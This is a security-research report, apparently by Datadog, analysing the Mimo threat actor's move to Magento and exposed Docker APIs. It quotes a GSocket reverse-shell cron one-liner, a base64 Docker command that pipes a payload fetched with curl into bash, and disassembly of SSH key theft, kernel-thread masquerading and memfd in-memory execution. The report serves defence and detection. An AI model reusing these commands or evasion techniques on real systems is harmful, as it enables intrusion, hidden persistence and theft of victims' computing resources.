Beyond Mimo’lette: Tracking Mimo's Expansion to Magento CMS and Docker

Executive summary

Through investigations into a string of workload compromises involving ecommerce sites, the Datadog Security Research team discovered that the Mimo threat actor (also known as Mimo'lette), previously known for targeting the Craft content management system (CMS), has evolved its tactics to compromise the Magento ecommerce CMS platform through exploitation of an undetermined PFP-FPM vulnerability.

In one instance, over a multi-day operation, we observed a threat actor employing sophisticated persistence mechanisms and evasion techniques. Based on these observables, IoCs, and activity described by Sekoia, we were able to attribute this intrusion to Mimo. While the previous activity reported Mimo targeting Craft CMS installations, Mimo's shift to Magento—coupled with the introduction of persistence mechanisms and new evasion techniques—highlights a significant evolution in their tactics, techniques, and procedures (TTPs). Although Mimo's primary motivation remains financial, through cryptocurrency mining and bandwidth monetization, the sophistication of their recent operations suggests potential preparation for more lucrative criminal activities.

Key findings

Platform Expansion: From Craft to Magento

While previous reporting focused on Craft CMS exploitation, we observed Mimo successfully compromising Magento ecommerce installations through PHP-FPM vulnerabilities. This represents a significant expansion in targeting. The initial access vector is PHP-FPM command injection via a Magento CMS plugin, indicating that Mimo possesses multiple exploit capabilities beyond previously observed adversarial tradecraft.

Persistence: GSocket implementation

We uncovered Mimo using a lesser known but trendy persistence mechanism in their toolkit through the use of GSocket, a legitimate penetration testing tool. GSocket is documented as having been used by other adversaries to establish secure connections between systems behind firewalls or NAT by routing encrypted traffic through the Global Socket Relay Network (GSRN). While created for legitimate remote access, its features make it attractive to threat actors:

• Firewall/NAT Bypass: Connects through restrictive network configurations without port forwarding
• End-to-End Encryption: Uses the Secure Remote Password (SRP) protocol with AES-256-CBC encryption
• TOR Support: Can route traffic through TOR for additional anonymity
• Persistence Features: Includes daemon mode with automatic restart capabilities
• Cross-Platform: Available on Linux, macOS, and Windows

Mimo establishes and maintains unauthorized remote access by using persistence mechanisms built into a preconfigured script. This script downloads and executes a GSocket-based reverse shell, ensuring continued command and control access.

Persistence is achieved via multiple techniques to ensure success, which include:

• SystemD service units
• Legacy rc.local initialization
• Scheduled tasks through crontab

To further evade detection and forensic analysis, Mimo employs several obfuscation techniques for running the GSocket binary. Instead of using an obvious file or process name, the malicious binary is stored as defunct and, when executed, masquerades under a process name designed to look like a legitimate or kernel-managed thread.

The script chooses process names from a hardcoded list such as [kstrp], [watchdogd], [ksmd], [kswapd0], and others known to appear normal in Linux kernel process listings.

The sample analyzed created a Base64-encoded string within a Crontab entry, which decodes to a command that executes the GSocket binary, defunct every hour under the name [mm_percpu_wq].

/usr/bin/pkill -0 -U48 defunct 2>/dev/null || \
GS_HOST='g.gsocket[.]ninja' SHELL= TERM=xterm-256color \
GS_ARGS="-k /var/www/html_new/htdocs/pub/errors/defunct.dat -liqD" \
/usr/bin/bash -c [payload] 

Advanced evasion: Memory-based techniques

A new evasion technique was employed by the attacker, using the memfd_create() syscall to create an anonymous temporary file in memory that has an executable bit. In this attack, the loader is written into this in-memory file and executed directly, leaving no file on disk. The memfd file descriptor naming convention used (memfd:[rcu_sched]) is particularly clever as it mimics legitimate kernel thread names. This technique allows the threat actor to operate entirely in memory through the creation of an anonymous in-memory file, thereby evading common workload security tools. This sophistication highlights the continuous development of Mimo's evasion capabilities, indicating a persistent effort to bypass security measures and maintain multiple avenues of persistence while covering their tracks.

Prior to cryptomining and establishing persistence, the attacker empties .bashrc, .bash_profile, and /etc/ld.so.preload—first wiping residual artifacts from earlier intruders, then letting the new loader repopulate them its own way. From here, the dropper script runs fd / recursively looking for the first directory that is both writable and executable; there, it drops a self‑deleting stub (i) to guarantee execution if someone chroots or limits file system access.

The loader writes /etc/ld.so.preload to inject the alamdar.so rootkit into all dynamic processes. This hooks directory listing, process enumeration, and system calls to remove traces like 4l4md4r, YMRIG, and IPRoyal binaries. The more recent addition of memfd anonymous in-memory file creation combined with the previously observed alamdar LD_PRELOAD rootkit adds another layer of protection to effectively conceal the malicious process and file activity from system administrators and security tooling.

Multi-tier command and control

Unlike the static infrastructure documented in previous reports, Mimo used a progression of C2 servers over time through various persistence and evasion mechanisms. This rotation suggests operational security awareness, possible use of compromised infrastructure as stepping stones, and compartmentalization of different operational phases.

Impact

Mimo employs a dual-pronged approach to monetize compromised systems, combining cryptojacking and proxyjacking for maximum illicit gain. By deploying a UPX-packed XMRig variant configured for the C3Pool Monero mining pool, they exploit the victim's CPU resources to generate cryptocurrency. Concurrently, Mimo installs hezb.x86_64—the IPRoyal Pawns client—which registers the compromised server within a paid residential-proxy network. This allows the threat actor to earn passive income by reselling the victim's unused bandwidth and providing access through legitimate IP addresses.

This "profit stacking" strategy offers several advantages to the adversary. The CPU time from cryptomining directly yields Monero, while unused bandwidth generates cash from residential-proxy markets to effectively provide two distinct revenue streams from a single victim. Furthermore, the use of proxyware, which typically consumes minimal CPU, enables stealthy operation that prevents detection of the additional monetization even if the cryptominer's resource usage is throttled. This multi-layered monetization also enhances resilience: even if the cryptominer is detected and removed, the proxy component may remain unnoticed, ensuring continued revenue for the threat actor. This combination of techniques has been observed in similar abuse patterns documented by security researchers since 2022.

Additional targeting and reverse engineering of primary payload

In addition to targeting Craft and Magento CMS platforms, we also discovered a variant of Mimo’s malware targeting misconfigured Docker instances. The threat actor scans the internet for public-facing hosts running the Docker Engine API; if any hosts are found, Mimo will attempt to spawn a new container with a malicious start command used to kickstart the infection chain. This demonstrates the threat actor’s willingness to compromise a diverse range of services—not just CMS providers—to achieve their objectives. This diversification of targeting is currently absent from public reporting on Mimo.

An example of the Docker initial access command can be seen below:

sh -c apt-get update -y; apt-get install curl -y;(echo Y3VybCBodHRwOi8vW2FkdmVyc2FyeS1jb250cm9sbGVkLWluZnJhc3RydWN0dXJlXS9jcm9uLmpwZz9kb2NrZXIgfCBiYXNo | base64 -d | bash &> /dev/null &);while true; do sleep 3000; done

Decoded from base64, the executed command retrieves an additional payload and dynamically executes it by piping through bash:

curl http://[adversary-controlled-infrastructure]/cron.jpg?docker | bash

Note the use of the ?docker parameter in the payload delivery URL above. We assess with high confidence that this parameter is used to inform Mimo of successful exploitation of a particular service.

This attack pattern largely follows the steps described above: once execution is achieved on the Docker host, a shell script loader is deployed (cron.jpg) that is then used to deliver an ELF binary, acting as the malware’s primary payload.

Analysis of primary payload
Analyzing the Docker variant’s primary payload gives us additional insights into Mimo’s capabilities. The payload itself is delivered as a UPX-packed ELF, written in Go and with debugging symbols stripped. Despite this, we can get an idea of the malware’s functionality after unpacking it and loading it into IDA Pro thanks to the disassembler’s excellent symbol reconstruction feature for Go binaries.

The code for this binary is structured in a modular fashion. The developer implemented a Go module named alamdar with a single package named 313. Under this sub-package are four packages logically separated by functionality:

• files
• cmd
• exploit
• cron

Methods and functions within these packages are responsible for achieving persistence, conducting file system I/O operations, killing processes, performing the memfd() in-memory execution described above, and so on.

alamdar/313/files/DownloadBin
alamdar/313/files/CopyBin
alamdar/313/files/fileSizeEquals

alamdar/313/cmd/isBinrunning
alamdar/313/cmd/GivePerm
alamdar/313/cmd/ProcessCount
alamdar/313/cmd/Killprocessbyname
alamdar/313/cmd/memfdCreate
alamdar/313/cmd/memfdInject
alamdar/313/cmd/CreateWatchDog

alamdar/313/exploit/exploits/SshBrute
alamdar/313/exploit/exploits/tryHost
alamdar/313/exploit/exploits/isPortOpen
alamdar/313/exploit/exploits/generateIPs

Example of module/package tree in Go-native format

With this information, the malware’s capabilities are easily grasped. The sample acts as a loader/dropper for the Gsocket and IPRoyal payloads mentioned previously. In addition to this, the malware attempts to propagate itself to related hosts by first searching through known_hosts and the SSH configuration file to discover public keys:

lea     rax, aHome      ; "HOME"
mov     ebx, 4
call    os_Getenv
mov     rcx, rbx
lea     rdi, aSshKnownHosts ; "/.ssh/known_hosts"
mov     esi, 11h
mov     rbx, rax
xor     eax, eax
nop     dword ptr [rax+00h]
call    runtime_concatstring2
call    alamdar_313_exploit_exploits_extractKnownHosts
mov     [rsp+230h+var_168], rax
mov     [rsp+230h+var_1E8], rbx
lea     rax, aHome      ; "HOME"
mov     ebx, 4
call    os_Getenv
mov     rcx, rbx
lea     rdi, aSshConfig_0 ; "/.ssh/config"
mov     esi, 0Ch
mov     rbx, rax
xor     eax, eax
nop     dword ptr [rax+00h]
call    runtime_concatstring2
call    alamdar_313_exploit_exploits_parseSSHConfig

Disassembly showing the malware constructing paths to SSH system files to extract public keys

To actually spread the malware to related hosts, the sample will determine its own public IP address by using Go’s net.dial function to contact 8.8.8.8:80 (Google’s public DNS server). This network call returns the outbound IP address, which the malware parses the first three octets from using the following regex:

\\d+\\.\\d+\\.\\d+\\.

This provides the malware with the network address of the compromised host where it’s currently running. The sample then attempts to create an SSH connection to random hosts within the local subnet, with a new thread being spawned for each connection attempt. This process is extremely noisy, with a large number of threads being created on the host to facilitate connection attempts.

If an SSH server is running on any of the targeted hosts, a connection attempt is made using the keys gathered at an earlier stage and four hard-coded usernames:

• admin
• ubuntu
• dev
• ec2-user

Note the use of the ec2-user username: this suggests that Mimo intends to target AWS environments.

Analysis of the binary reveals the inner workings of some of the evasion techniques observed in the environment. For the masquerading kernel thread, the primary payload uses Go’s math/rand/Intn method to first generate a random number between 1 and 23. This number is then used as an index for an array of potential kernel thread names to masquerade as. A complete list can be seen below:

• [xenbus]
• [kauditd]
• [kswapd0]
• [kthreadd]
• [xenwatch]
• [rcu_sched]
• [cpuhp/0]
• [kdevtmpfs]
• [watchdogd]
• [khungtasks]
• [oom_reaper]
• [idle_inject/0]
• [kcompactd0]
• [khugepaged]
• [irq/9-acpi]
• [ksoftirqd/0]
• [migration/0]
• [xen-balloon]
• [kworker/R-rcu_g]
• [ecryptfs-kthread]
• [pool_workqueue_release]
• [rcu_tasks_trace_kthread]

imul    rdx, rbx, 3B9ACA00h
and     ecx, 3FFFFFFFh
movsxd  rcx, ecx
add     rcx, rdx        ; int
mov     rdx, 0A1B203EB3D1A0000h
lea     rax, [rdx+rcx]  ; int
nop     dword ptr [rax+00h]
call    math_rand_Seed
mov     rax, 17h
call    math_rand_Intn
mov     rcx, 17h
cmp     rax, rcx
jnb     short loc_67E89A
shl     rax, 4
mov     rcx, cs:process_name_array
mov     rdx, [rcx+rax]
mov     rbx, [rcx+rax+8]
mov     rax, rdx
add     rsp, 10h
pop     rbp
retn

Assembly implementation of process name selection logic

Binary analysis also reveals the inner workings of malware’s ability to execute memory-resident payloads.

First, the function alamdar/313/cmd/memfdCreate() is used to create an anonymous, memory-backed file descriptor ready for in-memory execution of an additional payload. The malware calls memfd_create() indirectly via syscall() and a specified syscall number of 319, which resolves to memfd_create() on x86_64 systems. This method could be used as an anti-analysis measure, as it avoids calling memfd_create() directly.

mov     eax, 13Fh // 319 in decimal - memfd_create() syscall
xor     ecx, ecx
mov     rdi, rcx
call    syscall_Syscall

Indirectly calling memfd_create()

With a memory-backed file descriptor now available to the malware, an additional payload is self-extracted from the .noptrdata section (a Go-specific section added at compile time) of the primary payload and written to the path /dev/shm.

This path is significant, as it’s a tmpfs (temporary file system) directory used to share memory between processes. Since it’s backed entirely by RAM, it can also be useful for malware trying to evade EDR solutions. Additionally (and importantly), it’s also possible to write to /dev/shm even on read-only container file systems via the Linux mktemp command.

  v10 = alamdar_313_cmd_memfdCreate(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  v86 = v10;
  if ( a2 )
  {
    target_path_len[1] = 8LL; // length of /dev/shm string (Go string addressing artifact)
    target_path = "/dev/shm";
    a5 = v107;
    filename = v107;
    absolute_path = path_filepath_join(target_path, 2, 2, a4, filename, v11, v12, v13, v14);
    v20 = os_OpenFile(absolute_path, 2, 578, 438, v107, v16, v17, v18, v19);
  }
  else
  {
    v20 = os_NewFile(v10, v107);
  }
  v93 = v20;
  v21 = ptr_to_embedded_bin;
  v114 = os__ptr_File_Write(v20, *(&v23 - 2));

Decompiler output showing embedded payload extraction and writing

With the additional payload in place, the malware executes it in memory using Go’s syscall/forkexec() function, with the pointer to the file descriptor created by the memfd_create() syscall as an argument. This results in the payload being executed in memory, and the file will be removed from /dev/shm at reboot.

Indicators of Compromise (IoCs)

Network Indicators

File Indicators

Process indicators

Mitigation recommendations

• Review /etc/ld.so.preload for unauthorized entries to check for existing compromise.
• Update your content management system to protect against known vulnerabilities.
  • Mimo has been observed targeting Magento and Craft CMS specifically.
  • Audit CMS configuration for security hardening.
• Block outbound DNS/TCP to known network IoCs and common Monero pool ports (5555, 3333).
• Compare /proc/*/exe inodes against the file system; orphaned executables in /tmp, /dev/shm, /var/tmp are red flags.
• Review all cron jobs for Base64‑encoded or pipe‑delimited one‑liners, especially referencing gsocket, defunct.dat, or 4/6 digit numeric filenames.
• Kill hidden processes by booting from clean media or using ld.so.preload removal scripts.
• Remove alamdar.so and any cron entries.
• Rotate credentials and review logs for secondary implants.

How Datadog can help

Workload Protection uses a real-time eBPF agent to detect file integrity and various stages of post-exploitation activity, including:

• Systemd service modified
• RC scripts modified
• Post compromise shell detected
• Network utility executed with suspicious URI
• Memfd object created
• Cryptocurrency miner attempted to boost CPU performance
• Dynamic linker hijacking attempt

Example of a common web application post compromise shell detection within the Datadog platform:

We're always eager to hear from you. If you have any questions, thoughts, or suggestions, send us a message at securitylabs@datadoghq.com, or open an issue. You can also subscribe to our newsletter or RSS feed.